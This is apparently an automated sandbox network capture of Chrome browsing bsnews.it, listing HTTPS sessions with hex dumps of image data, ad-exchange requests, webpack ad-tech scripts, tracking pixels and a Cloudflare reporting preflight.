2024-03-28 08:51:12 UTC	1369	IN	Data Raw: a5 ac ce 5e 2d 22 cf 7b e6 1a 08 ec b8 8e f7 8f 1e c7 15 ac ca ce 85 a9 d9 a6 44 49 33 2a 45 7f 36 5e ec 52 6a 6f 19 52 5b d3 c3 6d ae d7 23 70 cb 89 f3 4e af 94 d1 35 64 92 5c 4e 11 8c e8 f0 d2 6b d7 9f e3 fa d1 d3 e8 1c 84 f4 33 d7 90 4d 6c 27 cb 39 00 cf 6b e7 79 2e 88 bc 9c ab d4 66 62 bb 95 d0 aa c1 4f 4e 86 97 99 ec 5d ea 09 e6 f2 6f e6 6d 9c 8b 56 d5 cc 6b 1c 88 1f 24 4d 11 4a a3 9e 7f 4b d8 4b c9 b3 6d 5c d2 27 e9 7b 3c ec ab c7 69 ca ca a1 cd 78 92 37 c0 9d 87 46 e6 90 ad 1c d5 ce e3 cf b6 f2 e8 d2 e1 ba 2a 6a 32 8d 81 ad 4e df 83 c8 e9 c3 a1 c0 62 e5 a7 49 b7 c0 cf 1a 68 69 58 d4 8d 2a e6 f5 bc b2 38 c9 5e 9d 3c cf 49 18 e6 bc f5 ae 26 e6 c9 15 24 50 47 ad e6 5a c4 a8 e7 a7 56 f4 67 ed 1c 37 55 e7 fc 7a f1 6d 95 2e 98 aa 80 56 92 59 6c 8d f1 80 Data Ascii: ^-"{DI3E6^RjoR[m#pN5d\Nk3Ml'9ky.fbON]omVk$MJKKm\'{<ix7Fj2NbIhiX*8^<I&$PGZVg7Uzm.VYl
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: 5c 30 94 86 ed 8a f5 e2 ae d9 a9 7b 38 c7 f6 69 48 ff 00 31 46 fc 46 35 e6 47 70 15 eb a7 22 ba 51 92 08 a2 91 bb 2c ca ad 2e fd 86 a5 4a 88 e5 27 ab 31 bb b3 ac 6d 08 8d 4f 92 ed 23 f5 56 e7 8a 3a f5 e4 3c d4 ec ac 65 8e 78 98 b4 b5 e7 5b 5f 40 3f 6c de 53 f4 65 f8 d3 ef 19 f9 0c 9b 9e c3 6e 3c 7c 8f 0c 8e eb f2 89 7f b6 f6 b0 bb b4 6a c2 71 4d b7 5a d2 87 52 05 68 18 ed 5d c6 08 8d 73 0e dd 93 38 48 89 c9 fa c5 34 91 49 5f 3a 6c 87 27 24 ee 35 e6 35 9a 6a f1 37 da 66 e2 e9 ff 00 c3 da cb f1 67 dd 1c b1 72 c8 3e 93 37 8a c7 ca 9f e4 e5 fd da d2 d7 43 fb ff 00 cc 6a 47 f9 7d ae 4e fd 04 b8 ac 14 65 2c d2 eb 56 86 22 9b ff c4 00 24 11 00 02 02 01 05 00 02 02 03 00 00 00 00 00 00 00 00 01 02 11 03 10 12 20 21 31 41 51 04 30 13 40 42 ff da 00 08 01 03 01 01 Data Ascii: \0{8iH1FF5Gp"Q,.J'1mO#V:<ex[_@?lSen<\|jqMZRh]s8H4I_:l'$55j7fgr>7CjG}Ne,V"$ !1AQ0@B
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: 93 19 84 26 38 12 63 59 53 99 b4 db d4 ea b3 51 78 73 a6 e6 6e 50 99 b2 61 27 35 4e 6b 85 c4 f6 38 3c 5b 68 fe 1c 6f 75 6c 2e 86 17 d1 66 83 18 66 8b 75 2a 18 3f ca 33 ce c3 7b 55 f3 5d 07 b8 53 4d cd 77 b1 c4 bc 6a 37 73 33 54 61 42 0e 1a 85 45 f9 7d d3 f2 7b 2e 27 7f 0b 55 c2 56 57 18 7f 54 5a 4d c2 6b 79 0f 06 5e 60 2f 93 99 8d ee 75 59 aa 52 da 1f 78 41 93 b2 7f a5 d8 64 f4 8f 02 5a 48 3d 97 ea 66 1f 75 d3 a4 71 0e 89 de 85 53 20 bb 6f 88 ac cf 29 50 60 22 39 1c 76 64 f0 a7 42 93 84 44 c8 59 58 4b 4c 5f 70 ef 38 b1 b9 cb 57 19 74 95 51 87 56 38 85 01 49 b9 51 48 7c 86 eb b5 d1 3e a3 b5 71 9f 09 af 1a 73 52 3c ae 55 09 17 2d 81 8b a9 1e 2a 4e bc 26 9f 87 75 c7 e5 09 d5 03 80 78 e0 67 a8 ac d5 be 61 fb b4 47 e1 e9 34 38 9d 00 1a 2f d2 ca 3e e2 b6 b5 1e Data Ascii: &8cYSQxsnPa'5Nk8<[houl.ffu?3{U]SMwj7s3TaBE}{.'UVWTZMky^`/uYRxAdZH=fuqS o)P`"9vdBDYXKL_p8WtQV8IQH\|>qsR<U-N&uxgaG48/>
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: 25 74 e0 2e 68 00 09 74 66 75 9c a1 5f 88 c5 93 74 d5 13 06 96 b1 5b 33 53 6f 08 df b4 37 80 e8 be 09 ad 4d 03 78 14 6c e2 db 7a 11 9c 43 40 e2 87 46 5d 39 44 8d 38 9b 3d 41 4e 5b 07 00 96 41 57 e3 38 97 47 0b 2e 03 a4 e5 26 9c 59 db a0 a5 98 40 6b 0e c3 99 36 1d e7 c4 54 40 74 91 e9 50 62 05 a5 0c 44 a2 42 11 bb 10 3d e0 60 a6 88 3f 63 f2 a2 07 28 c4 32 a4 30 3c 6d e8 8c 0b 4e f2 c6 87 2c d4 a3 64 71 bc d5 36 9a 3b cc f2 b4 5d 10 45 b8 96 4e 89 62 95 6c d6 63 cf 94 d5 97 32 20 04 a9 44 f8 de 26 ab 5b bd 58 44 59 70 a3 2f dc 53 ed 2d 94 7f 29 71 62 a6 05 ed 2e 09 55 af 92 26 a1 05 e2 05 7e f4 7a e1 59 db 1d b9 81 ed 5f 69 96 5b 45 36 96 c9 49 d6 fc a3 d2 a2 dd 17 88 9c 0f 14 23 c8 8f 57 e6 b9 9d 88 a8 50 c5 b6 96 55 d3 f2 cd 20 8b 1c 6d 65 79 81 44 65 00 Data Ascii: %t.htfu_t[3So7MxlzC@F]9D8=AN[AW8G.&Y@k6T@tPbDB=`?c(20<mN,dq6;]ENblc2 D&[XDYp/S-)qb.U&~zY_i[E6I#WPU meyDe
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: 9b 3a d6 7f 62 01 a7 e0 bc b7 eb e3 f6 40 3e 4a 83 18 b2 cb 27 96 c6 1c bd 49 28 61 29 ac 59 64 a7 cb fb f8 67 e1 b2 90 21 f8 76 5b 07 97 16 b3 b1 f4 bd 4b 86 c9 4e 42 dc b2 c9 64 b0 ac 3f 17 d8 b4 f5 b2 0c e9 0d b0 e7 b1 e6 92 de 47 a5 cb 90 de 4e 7b 05 fd bd e1 0d 09 3f 45 bd 23 48 47 5f 65 ae 40 fa bc 76 52 43 c9 43 8c 71 b6 2c 1e c9 a6 5a 75 b1 23 2c 0c 20 31 60 48 7d b3 c4 79 08 3f 93 be 05 91 2c 35 b7 9b 79 8b eb 24 5a b7 8e 38 f2 08 c9 7d 52 fd 93 2c 8c 72 c2 ea 4f 80 6e 8b b1 7d c9 79 26 bb 7d 37 0f 88 74 f2 eb db ff c4 00 29 10 01 00 02 02 01 03 04 02 03 00 03 01 00 00 00 00 01 00 11 21 31 41 51 61 71 10 81 91 a1 b1 c1 20 d1 e1 30 40 f0 f1 ff da 00 08 01 01 00 01 3f 10 3f e9 19 a9 61 84 22 5f 43 b5 c5 b5 92 fb 46 8b 9b ab 2f de 2e b4 2e 9a 3e e6 Data Ascii: :b@>J'I(a)Ydg!v[KNBd?GN{?E#HG_e@vRCCq,Zu#, 1`H}y?,5y$Z8}R,rOn}y&}7t)!1AQaq 0@??a"_CF/..>
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: 4b 0a 76 f1 07 07 fc 7c 54 11 71 12 92 92 92 92 c5 a6 f8 5c 42 3c 5d 4e bc d7 58 a2 26 4d 97 2a a2 65 a0 a8 58 1d bd 21 45 08 15 09 53 2c 05 51 50 96 35 10 2f 02 c1 9e 1d a9 cc 62 89 44 a2 62 22 3a 29 f2 37 3b b9 bb bb 41 0c a3 cb 4c 2c d4 ec 3a 42 3c a9 ae b0 34 87 aa ef b4 b9 8a b6 2e 22 da cd cd e0 a7 43 11 0f a3 fc 30 62 92 24 48 12 a5 4a a1 c9 88 a1 69 b1 49 66 f6 48 10 22 4b 0a f3 28 61 19 b8 3e 6a 62 67 00 49 9d 95 e8 bf 10 7a 03 68 58 db cb 8a c6 01 0d c3 62 fb ce d8 30 37 89 d3 18 2b 42 78 22 a0 0d aa 93 3f ee 44 8b c6 5e 0e 70 fc c4 dc c9 cb f5 a9 df 08 2e ee 3a 6e fd 46 3b 4c a3 3d 01 19 0d 2c 1a 5a 75 8e b5 b9 76 4b c7 a7 30 6f 11 58 38 a8 b2 34 96 94 c2 f5 80 d1 42 55 ae c1 98 04 0d 83 17 04 21 07 bc 3f 2d a8 a5 f9 72 42 c9 6a 6d 1d 80 82 e5 Data Ascii: Kv\|Tq\B<]NX&M*eX!ES,QP5/bDb":)7;AL,:B<4."C0b$HJiIfH"K(a>jbgIzhXb07+Bx"?D^p.:nF;L=,ZuvK0oX84BU!?-rBjm
2024-03-28 08:51:12 UTC	347	IN	Data Raw: a9 59 81 d9 4c 5f e9 26 18 a8 40 14 83 9e 16 81 14 1b a9 0c 08 81 03 39 d9 83 be e7 23 e2 50 9d 19 97 64 99 c3 12 5a 95 e8 b7 2a 9c 97 a6 16 0a 08 9d 73 d8 83 ff 00 88 47 f7 11 86 99 78 1d 3f 03 e6 08 3c 38 8c 82 e8 e3 93 0f 72 c8 1b b9 57 88 6d f2 64 ea 55 f9 3f 10 f8 66 4a 2f bf 68 95 a2 fb cb ab 2e fb 4b 2f 59 6a b1 31 ed 3c 53 13 31 6e a0 41 b8 02 60 3a 55 3c b9 88 2d 2d 77 80 15 78 67 70 e3 8b bc a9 a6 5e 82 fb 33 64 eb 96 18 88 63 79 18 96 6e 19 01 85 96 66 65 4a c9 27 ca c4 47 0b 75 37 d7 02 b3 1c 3d 2c 0f 98 21 f0 cc 05 5f 29 7f 24 6a 55 de 1e ab af 79 70 61 b4 54 ed 6c 7d 46 00 fb a4 0d 1c 0b 79 0d 0f 58 18 50 f2 6f ea 56 2c 86 5c d2 50 73 0f 13 52 ee ed d4 ba 54 37 1d 04 ca 52 fd 47 b5 c5 b5 fd 66 14 31 61 ef 15 5c 19 40 38 f9 af eb 86 e1 b1 7d Data Ascii: YL_&@9#PdZ*sGx?<8rWmdU?fJ/h.K/Yj1<S1nA`:U<--wxgp^3dcynfeJ'Gu7=,!_)$jUypaTl}FyXPoV,\PsRT7RGf1a\@8}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
173	192.168.2.4	49928	208.115.237.110	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:12 UTC	599	OUT	POST /ex/ HTTP/1.1 Host: s.richaudience.com Connection: keep-alive Content-Length: 649 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://bsnews.it Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:12 UTC	649	OUT	Data Raw: 7b 22 70 6c 69 64 22 3a 22 73 6d 22 2c 22 73 69 74 65 5f 69 64 22 3a 22 63 64 35 32 64 32 31 63 2d 61 34 39 65 2d 34 36 36 61 2d 62 61 39 63 2d 35 65 61 66 66 36 66 32 66 32 34 37 22 2c 22 70 75 62 5f 69 64 22 3a 22 63 66 35 66 31 31 35 63 2d 34 35 63 30 2d 34 32 65 36 2d 38 38 66 35 2d 31 63 63 31 34 37 34 31 32 39 38 38 22 2c 22 70 69 64 22 3a 22 32 32 66 39 35 30 35 61 2d 64 35 36 38 2d 34 39 65 31 2d 38 39 35 32 2d 63 63 35 31 31 30 66 64 35 39 30 62 22 2c 22 69 6e 73 74 61 6e 63 65 22 3a 31 2c 22 73 64 6b 5f 74 79 70 65 22 3a 22 69 6e 68 6f 6d 65 22 2c 22 73 64 6b 5f 65 78 74 72 61 22 3a 22 74 62 64 22 2c 22 69 62 22 3a 30 2c 22 64 65 6d 61 6e 64 22 3a 5b 22 64 69 73 70 6c 61 79 22 2c 22 76 69 64 65 6f 22 5d 2c 22 70 75 62 5f 69 6e 74 22 3a 30 2c 22 Data Ascii: {"plid":"sm","site_id":"cd52d21c-a49e-466a-ba9c-5eaff6f2f247","pub_id":"cf5f115c-45c0-42e6-88f5-1cc147412988","pid":"22f9505a-d568-49e1-8952-cc5110fd590b","instance":1,"sdk_type":"inhome","sdk_extra":"tbd","ib":0,"demand":["display","video"],"pub_int":0,"
2024-03-28 08:51:13 UTC	243	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Thu, 28 Mar 2024 08:51:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Access-Control-Allow-Origin: *
2024-03-28 08:51:13 UTC	2700	IN	Data Raw: 61 38 30 0d 0a 65 79 4a 77 62 47 46 30 5a 6d 39 79 62 53 49 36 49 6d 56 34 64 47 55 69 4c 43 4a 32 5a 58 4a 7a 61 57 39 75 49 6a 6f 69 4d 53 34 77 4d 53 49 73 49 6d 4a 31 63 6d 77 69 4f 69 4a 55 62 54 6c 45 59 54 49 31 53 46 4e 49 63 48 56 61 62 55 70 76 5a 44 46 6b 4d 46 5a 72 55 54 56 6c 56 46 55 30 5a 57 73 35 65 47 46 72 53 6c 52 53 4d 6a 56 57 54 55 64 6b 4d 31 46 71 55 6e 64 6a 56 6c 6b 31 55 56 5a 52 4e 55 35 48 52 6e 42 53 62 6b 35 51 55 30 5a 6b 51 6d 4a 49 52 6d 78 52 56 6c 70 72 55 7a 49 78 53 46 6b 77 54 6e 46 6c 62 55 35 33 55 57 70 57 53 45 39 45 5a 46 6c 5a 4d 45 35 76 56 57 31 30 61 57 46 55 55 58 4a 58 62 45 70 32 54 57 70 6f 52 45 34 7a 55 54 52 56 56 45 45 78 59 56 64 6b 56 56 52 58 56 6e 70 50 52 47 73 7a 56 6d 70 6f 57 6d 52 56 5a 7a Data Ascii: a80eyJwbGF0Zm9ybSI6ImV4dGUiLCJ2ZXJzaW9uIjoiMS4wMSIsImJ1cmwiOiJUbTlEYTI1SFNIcHVabUpvZDFkMFZrUTVlVFU0ZWs5eGFrSlRSMjVWTUdkM1FqUndjVlk1UVZRNU5HRnBSbk5QU0ZkQmJIRmxRVlprUzIxSFkwTnFlbU53UWpWSE9EZFlZME5vVW10aWFUUXJXbEp2TWpoRE4zUTRVVEExYVdkVVRXVnpPRGszVmpoWmRVZz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
174	192.168.2.4	49933	37.19.206.6	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:12 UTC	536	OUT	GET /codesour/bsnews/922.prod.js HTTP/1.1 Host: cdn.codesour.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:13 UTC	594	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:13 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 15853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Tue, 13 Feb 2024 14:39:32 GMT x-rgw-object-type: Normal ETag: "16d950cdaec2390692c6d03f82ddd9f0" x-amz-request-id: tx000001b60ca717192f70a-0066052f81-2730a69-prg X-77-NZT: AyUTzgQ3NzehnJI74jc3N6FZu7ym67/rAA X-77-NZT-Ray: 8e305f1cba021c4f802f0566154dc038 X-77-Cache: MISS Server: CDN77-Turbo X-Cache: MISS X-77-POP: ashburnUSVA Accept-Ranges: bytes
2024-03-28 08:51:13 UTC	15790	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 73 6f 75 72 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 73 6f 75 72 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 39 32 32 5d 2c 7b 39 38 38 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 64 28 74 2c 7b 43 3a 28 29 3d 3e 72 7d 29 3b 76 61 72 20 6f 3d 6e 28 38 34 35 29 3b 63 6f 6e 73 74 7b 4c 6f 67 67 65 72 53 6f 75 72 3a 69 7d 3d 6f 2e 74 2c 73 3d 6e 65 77 20 69 28 22 44 4f 4d 20 4d 61 6e 61 67 65 72 22 29 2c 72 3d 7b 63 72 65 61 74 65 44 4f 4d 45 6c 65 6d 65 6e 74 3a 6c 2c 63 72 65 61 74 65 44 69 76 41 6e 64 41 70 70 65 6e 64 3a 63 2c 63 72 65 61 74 65 50 6c 61 63 65 48 6f 6c 64 65 72 41 6e 64 53 74 79 6c 65 3a 64 2c 63 68 65 63 6b 50 61 67 65 53 65 6c 65 63 74 6f 72 Data Ascii: (self.webpackChunksour=self.webpackChunksour\|\|[]).push([[922],{988:(e,t,n)=>{"use strict";n.d(t,{C:()=>r});var o=n(845);const{LoggerSour:i}=o.t,s=new i("DOM Manager"),r={createDOMElement:l,createDivAndAppend:c,createPlaceHolderAndStyle:d,checkPageSelector
2024-03-28 08:51:13 UTC	63	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 73 6f 75 72 2e 63 6f 6e 66 69 67 2e 64 65 62 75 67 26 26 49 2e 65 72 72 6f 72 28 65 2e 6d 65 73 73 61 67 65 29 7d 7d 28 6f 2e 74 2c 50 2c 61 2c 70 29 7d 7d 5d 29 3b Data Ascii: window._sour.config.debug&&I.error(e.message)}}(o.t,P,a,p)}}]);

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
175	192.168.2.4	49932	37.19.206.6	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:12 UTC	536	OUT	GET /codesour/bsnews/290.prod.js HTTP/1.1 Host: cdn.codesour.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:12 UTC	670	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:12 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 576 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Tue, 13 Feb 2024 14:39:27 GMT x-rgw-object-type: Normal ETag: "0e28e3246da768078e5eb45652a1290c" x-amz-request-id: tx00000f4d70ee0d2cb3d51-0065cb807d-48c66ec-prg X-77-NZT: AyUTzgQ3NzehnJI73zc3N+/UbQUAbT1aDc/21wA X-77-NZT-Ray: 8e305f1c7affed4e802f056685a6cf37 X-Accel-Expires: @1711778476 X-Accel-Date: 1711260076 X-77-Cache: HIT X-77-Age: 355796 Server: CDN77-Turbo X-Cache: MISS X-77-POP: ashburnUSVA Accept-Ranges: bytes
2024-03-28 08:51:12 UTC	576	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 73 6f 75 72 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 73 6f 75 72 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 32 39 30 5d 2c 7b 32 39 30 3a 28 74 2c 73 2c 61 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 61 2e 72 28 73 29 3b 76 61 72 20 63 3d 61 28 38 34 35 29 3b 63 6f 6e 73 74 7b 4c 6f 67 67 65 72 53 6f 75 72 3a 65 7d 3d 63 2e 74 2c 6f 3d 6e 65 77 20 65 28 22 54 68 69 72 64 50 61 72 74 73 20 3e 20 50 75 62 73 74 61 63 6b 22 29 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 77 69 6e 64 6f 77 3b 63 6f 6e 73 74 7b 73 63 72 69 70 74 73 54 6f 4c 6f 61 64 3a 73 7d 3d 74 2e 5f 73 6f 75 72 2e 63 6f 6e 66 69 67 3b 69 66 28 73 2e 70 75 62 73 74 61 63 6b 29 7b 6f 2e 6c 6f 67 28 22 49 6e 69 Data Ascii: (self.webpackChunksour=self.webpackChunksour\|\|[]).push([[290],{290:(t,s,a)=>{"use strict";a.r(s);var c=a(845);const{LoggerSour:e}=c.t,o=new e("ThirdParts > Pubstack");!function(){var t=window;const{scriptsToLoad:s}=t._sour.config;if(s.pubstack){o.log("Ini

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
176	192.168.2.4	49934	37.19.206.6	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:12 UTC	536	OUT	GET /codesour/bsnews/979.prod.js HTTP/1.1 Host: cdn.codesour.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:13 UTC	670	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:12 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 603 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Tue, 13 Feb 2024 14:39:30 GMT x-rgw-object-type: Normal ETag: "bd29158b88af2e48de0651db1987e08b" x-amz-request-id: tx00000db618ce0d54d4d8e-0065cb807d-4989571-prg X-77-NZT: AyUTzgQ3NzehnJI73zc3N/+xkAUAbT1aAqWuKgA X-77-NZT-Ray: 8e305f1cba021b4f802f05665429ea38 X-Accel-Expires: @1711769551 X-Accel-Date: 1711251151 X-77-Cache: HIT X-77-Age: 364721 Server: CDN77-Turbo X-Cache: MISS X-77-POP: ashburnUSVA Accept-Ranges: bytes
2024-03-28 08:51:13 UTC	603	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 73 6f 75 72 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 73 6f 75 72 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 39 37 39 5d 2c 7b 39 37 39 3a 28 65 2c 61 2c 72 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 72 2e 72 28 61 29 3b 76 61 72 20 74 3d 72 28 38 34 35 29 3b 63 6f 6e 73 74 7b 4c 6f 67 67 65 72 53 6f 75 72 3a 63 7d 3d 74 2e 74 2c 73 3d 6e 65 77 20 63 28 22 54 68 69 72 64 50 61 72 74 73 20 3e 20 4c 69 76 65 72 61 6d 70 22 29 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2c 73 2e 6c 6f 67 28 22 4c 69 76 65 72 61 6d 70 20 2d 20 49 6e 69 74 22 29 3b 6c 65 74 20 65 3d 22 3c 73 70 61 6e 20 69 64 3d 27 73 6f 75 72 2d 6c 69 76 65 72 61 6d 70 2d 73 63 72 69 70 74 73 27 3e 22 3b 65 2b Data Ascii: (self.webpackChunksour=self.webpackChunksour\|\|[]).push([[979],{979:(e,a,r)=>{"use strict";r.r(a);var t=r(845);const{LoggerSour:c}=t.t,s=new c("ThirdParts > Liveramp");!function(){window,s.log("Liveramp - Init");let e="<span id='sour-liveramp-scripts'>";e+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
177	192.168.2.4	49930	138.199.8.195	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:12 UTC	667	OUT	GET /?ap=smptf&it=22f9505a-d568-49e1-8952-cc5110fd590b&tp=op&pos=0&loop=1&pb=1&dnt=1&rnd=1711615871094 HTTP/1.1 Host: track.sunmedia.tv Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:13 UTC	357	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:13 GMT Content-Type: image/gif Content-Length: 42 Connection: close Last-Modified: Thu, 15 Nov 2018 09:59:07 GMT Cache-control: max-age=0, s-maxage=31536000 X-Device: desktop Accept-Ranges: bytes Age: 49166 TP-Cache: HIT Vary: Accept-Encoding Access-Control-Allow-Credentials: true
2024-03-28 08:51:13 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
178	192.168.2.4	49931	138.199.8.195	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:13 UTC	661	OUT	GET /?ap=smptf&it=22f9505a-d568-49e1-8952-cc5110fd590b&tp=ef&pos=0&loop=1&pb=1&rnd=1711615872181 HTTP/1.1 Host: track.sunmedia.tv Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:13 UTC	357	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:13 GMT Content-Type: image/gif Content-Length: 42 Connection: close Last-Modified: Thu, 15 Nov 2018 09:59:07 GMT Cache-control: max-age=0, s-maxage=31536000 X-Device: desktop Accept-Ranges: bytes Age: 49166 TP-Cache: HIT Vary: Accept-Encoding Access-Control-Allow-Credentials: true
2024-03-28 08:51:13 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
179	192.168.2.4	49935	35.190.80.1	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:13 UTC	522	OUT	OPTIONS /report/v4?s=dSeC6vv4JWoebDVCjyJ449LEuTHSuGVLzP%2FIg%2B0GOQwfjd4QCi7vcC5eKQIfiTwItcSBFwk0GZapDpuaoyv0XOgHUVTgt2s6uoB0R5XM%2Bkb428q3ccmRM9cN2VU%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://bsnews.it Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:13 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Thu, 28 Mar 2024 08:51:13 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
